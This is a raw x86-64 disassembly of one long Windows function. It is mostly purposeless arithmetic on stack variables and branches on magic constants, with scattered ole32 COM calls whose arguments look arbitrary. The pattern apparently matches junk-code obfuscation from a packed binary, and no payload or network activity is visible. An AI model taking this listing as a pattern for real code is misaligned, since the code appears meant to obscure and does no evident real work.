mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
sub eax, 0xf7
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x28f4], eax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ae0]
mov qword [rsp + 0x4c40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c40]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x4b30]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
shl eax, 1
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x28f4]
mov ecx, dword [rsp + 0x28ac]
and ecx, eax
mov eax, ecx
mov dword [0x140178e6c], eax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov word [rsp + 0x858], ax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [0x14017a050]
add eax, ecx
mov byte [rsp + 0x51], al
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x52]
and eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movsx eax, word [rsp + 0x860]
sub eax, 0x6a
mov word [rsp + 0x860], ax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x28cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x4aa0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b30], rax
mov eax, dword [rsp + 0x2908]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4c28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
sar eax, cl
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
or eax, 0xcd
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
shl eax, cl
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x864]
xor eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
and eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b90]
mov ecx, dword [rsp + 0x28f4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4b88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa0]
mov rcx, qword [rsp + 0x4b30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x293c]
sub eax, 0xd5
mov dword [rsp + 0x293c], eax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x28bc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
sub eax, 0xee
mov byte [rsp + 0x50], al
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52], al
cmp dword [rsp + 0x293c], 0x78a6
jae 0x140005ab6
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4ac8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4b88]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x1400060a3
lea rdx, [rsp + 0x16308]
lea rcx, [rsp + 0x16308]
call qword [sym.imp.ole32.dll_StringFromCLSID]
mov dword [rsp + 0x2954], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x2968], al
cmp byte [rsp + 0x2968], 0x8b
je 0x14000602b
cmp byte [rsp + 0x2968], 0xc1
je 0x140006040
jmp 0x14000609e
movsx eax, word [rsp + 0x860]
sar eax, 6
mov word [rsp + 0x860], ax
jmp 0x14000609e
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x4b88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
jmp 0x1400fa2b0
mov eax, dword [rsp + 0x28cc]
mov rcx, qword [rsp + 0x4bf8]
mov qword [rsp + 0x4c48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c48]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b70]
mov edx, dword [rsp + 0x28f4]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jg 0x1400fa2b0
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov dword [rsp + 0x296c], eax
cmp dword [rsp + 0x296c], 0xa45
je 0x140006229
cmp dword [rsp + 0x296c], 0xfe30
je 0x140006119
jmp 0x140006394
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
mov dword [rsp + 0x2970], eax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
movsx ecx, byte [rsp + 0x52]
movsx edx, byte [0x14017a050]
add ecx, edx
cmp eax, ecx
je 0x140006217
lea rdx, [rsp + 0x2974]
lea rcx, [rsp + 0x28f4]
call qword [sym.imp.ole32.dll_OleDoAutoConvert]
mov dword [rsp + 0x2918], eax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov qword [rsp + 0x4c50], rax
movabs rax, 0x7202319a335181
cmp qword [rsp + 0x4c50], rax
je 0x1400061ac
movabs rax, 0x791ab55eb93000
cmp qword [rsp + 0x4c50], rax
je 0x140006203
jmp 0x140006215
movzx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178e68], ax
lea rdx, [rsp + 0x28bc]
lea rcx, [rsp + 0x16318]
call qword [sym.imp.ole32.dll_CoGetTreatAsClass]
mov dword [rsp + 0x2954], eax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
jmp 0x140006215
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
add eax, 0x7c
mov byte [rsp + 0x50], al
jmp 0x140006224
lea rax, [rsp + 0x50]
mov qword [rsp + 0x4c58], rax
jmp 0x140006394
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x2978], al
cmp byte [rsp + 0x2978], 0x4b
je 0x1400062af
cmp byte [rsp + 0x2978], 0x58
je 0x14000624e
jmp 0x140006394
lea rdx, [rsp + 0x4c28]
mov ecx, 0xe1
call qword [sym.imp.ole32.dll_GetRunningObjectTable]
mov dword [rsp + 0x297c], eax
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4ba0]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x4be0]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x4c28]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4ba0]
movzx ecx, byte [rax]
call fcn.1400fbea0
nop
jmp 0x140006394
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
shl eax, cl
movsx ecx, byte [rsp + 0x52]
movsx edx, byte [0x14017a050]
or ecx, edx
cmp eax, ecx
jl 0x140006346
movsx eax, word [rsp + 0x860]
and eax, 0x76d
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4b30]
mov rcx, qword [rsp + 0x4aa0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
lea rdx, [rsp + 0x4b70]
mov ecx, 0x51
call qword [sym.imp.ole32.dll_GetRunningObjectTable]
mov dword [rsp + 0x2938], eax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
jmp 0x140006394
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x4bf8]
mov edx, dword [rdx]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140006394
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x858]
movzx edx, word [rsp + 0x85c]
add ecx, edx
cmp eax, ecx
jg 0x1400fa1be
movzx eax, word [rsp + 0x860]
mov word [rsp + 0x868], ax
cmp dword [rsp + 0x2924], 0x677e
jb 0x140006713
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
and eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2908]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2924]
sub eax, 0x6e
mov dword [rsp + 0x2924], eax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
and eax, ecx
mov byte [rsp + 0x51], al
movsx eax, word [rsp + 0x860]
xor eax, 0x70a
mov word [rsp + 0x868], ax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4b30]
shr rax, cl
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac8]
movzx ecx, al
mov rax, qword [rsp + 0x4b88]
shl rax, cl
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2908]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x51]
and eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x864]
sub eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [0x140178e68]
sub eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b80]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x4b88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bf8]
mov ecx, dword [rsp + 0x28cc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [0x14017a050]
sar eax, cl
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
xor eax, ecx
mov word [rsp + 0x864], ax
movsx eax, word [rsp + 0x868]
shl eax, 0xe
mov word [rsp + 0x860], ax
jmp 0x1400063d3
lea rax, [rsp + 0x868]
mov qword [rsp + 0x4c60], rax
lea rax, [rsp + 0x4aa0]
mov qword [rsp + 0x4c68], rax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
movsx eax, word [rsp + 0x860]
movsx ecx, word [rsp + 0x868]
sub eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
and eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4c28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b30]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
shl eax, cl
mov word [rsp + 0x860], ax
mov eax, dword [rsp + 0x2964]
add eax, 0xd7
mov dword [rsp + 0x2964], eax
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x858]
add eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2970], eax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x2908]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x4aa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b30], rax
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x860], ax
movzx eax, word [rsp + 0x85c]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140178e68], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov byte [rsp + 0x51], al
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0x858]
xor eax, ecx
mov word [rsp + 0x85c], ax
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x860]
or eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140178e6c]
sar eax, cl
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c28]
mov qword [rsp + 0x4c70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c70]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28cc]
add ecx, eax
mov eax, ecx
mov dword [0x140178e6c], eax
cmp dword [rsp + 0x2964], 0x12014
jne 0x140006733
mov eax, dword [rsp + 0x28ac]
mov dword [rsp + 0x2980], eax
cmp dword [rsp + 0x2980], 0x1835
je 0x140006b25
jmp 0x140006c1a
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov rdx, qword [rsp + 0x4b30]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jae 0x140006bae
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x28d8], eax
mov edx, 0xdf
mov ecx, SHDoDragDrop
call qword [sym.imp.ole32.dll_CoCancelCall]
mov dword [rsp + 0x295c], eax
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
jmp 0x140006bd9
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4b88], rax
call qword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [rsp + 0x297c], eax
mov rax, qword [rsp + 0x4ba0]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x4c58]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x4c60]
movzx r8d, word [rax]
movzx edx, byte [rsp + 0x50]
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rax]
call fcn.1400fc1b0
nop
jmp 0x1400fa0ce
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b88]
mov qword [0x14017a058], rax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
sub eax, ecx
movzx ecx, word [rsp + 0x864]
movzx edx, word [0x140178e68]
sub ecx, edx
cmp eax, ecx
jle 0x140006d1b
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov qword [rsp + 0x4c78], rax
movabs rax, 0x744d108c341fc3
cmp qword [rsp + 0x4c78], rax
je 0x140006cfa
movabs rax, 0x7e864019ff971d
cmp qword [rsp + 0x4c78], rax
je 0x140006cb8
jmp 0x140006d16
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x860]
and eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
jmp 0x140006d16
movzx eax, word [0x140178e68]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x85c], ax
jmp 0x140006df3
mov eax, dword [rsp + 0x2908]
mov ecx, dword [rsp + 0x28bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov rdx, qword [rsp + 0x4b80]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jae 0x140006df3
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov dword [rsp + 0x2984], eax
cmp dword [rsp + 0x2984], 0x4ee
je 0x140006d6c
jmp 0x140006dda
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
lea rcx, [rsp + 0x16308]
call qword [sym.imp.ole32.dll_CoSetCancelObject]
mov dword [rsp + 0x2918], eax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
shl eax, cl
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [0x140178e6c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
jmp 0x140006df3
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x28d8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2908], eax
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x860]
cmp eax, ecx
jne 0x140006e35
mov r8d, dword [rsp + 0x28cc]
mov edx, dword [rsp + 0x28f4]
mov rax, qword [rsp + 0x4bf8]
mov ecx, dword [rax]
call fcn.1400fabc0
nop
jmp 0x140006e83
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov rdx, qword [rsp + 0x4b30]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jbe 0x140006e83
lea rdx, [rsp + 0x52]
lea rcx, [rsp + 0x4aa0]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x2988], eax
lea rax, [rsp + 0x4b88]
mov qword [rsp + 0x4c80], rax
movzx eax, word [rsp + 0x864]
movzx ecx, word [0x140178e68]
add eax, ecx
movzx ecx, word [rsp + 0x858]
mov rdx, qword [rsp + 0x4c20]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x140006fa1
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [0x14017a050]
sub eax, ecx
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x52]
sub ecx, edx
cmp eax, ecx
jl 0x140006fa1
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov dword [rsp + 0x298c], eax
cmp dword [rsp + 0x298c], 0x7030
je 0x140006f84
cmp dword [rsp + 0x298c], 0xd345
je 0x140006f19
jmp 0x140006fa1
mov rax, qword [rsp + 0x4b30]
mov rcx, qword [rsp + 0x4aa0]
sub rcx, rax
mov rax, rcx
mov qword [0x140178e60], rax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ba0]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x50]
movzx r8d, word [rsp + 0x868]
mov rax, qword [rsp + 0x4c58]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x28bc]
call fcn.1400fc1b0
nop
jmp 0x140006fa1
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x860], ax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
xor eax, ecx
movsx ecx, byte [0x14017a050]
mov dword [rsp + 0x2990], ecx
movsx edx, byte [rsp + 0x51]
movzx ecx, dl
mov edx, dword [rsp + 0x2990]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140007026
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
sar eax, cl
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
lea rdx, [rsp + 0x16328]
lea rcx, str.debuts_fullstop
call qword [sym.imp.ole32.dll_IIDFromString]
mov dword [rsp + 0x2994], eax
movsx eax, byte [0x14017a050]
movsx ecx, byte [rsp + 0x52]
or eax, ecx
mov byte [rsp + 0x51], al
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4ac8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov rdx, qword [rsp + 0x4b78]
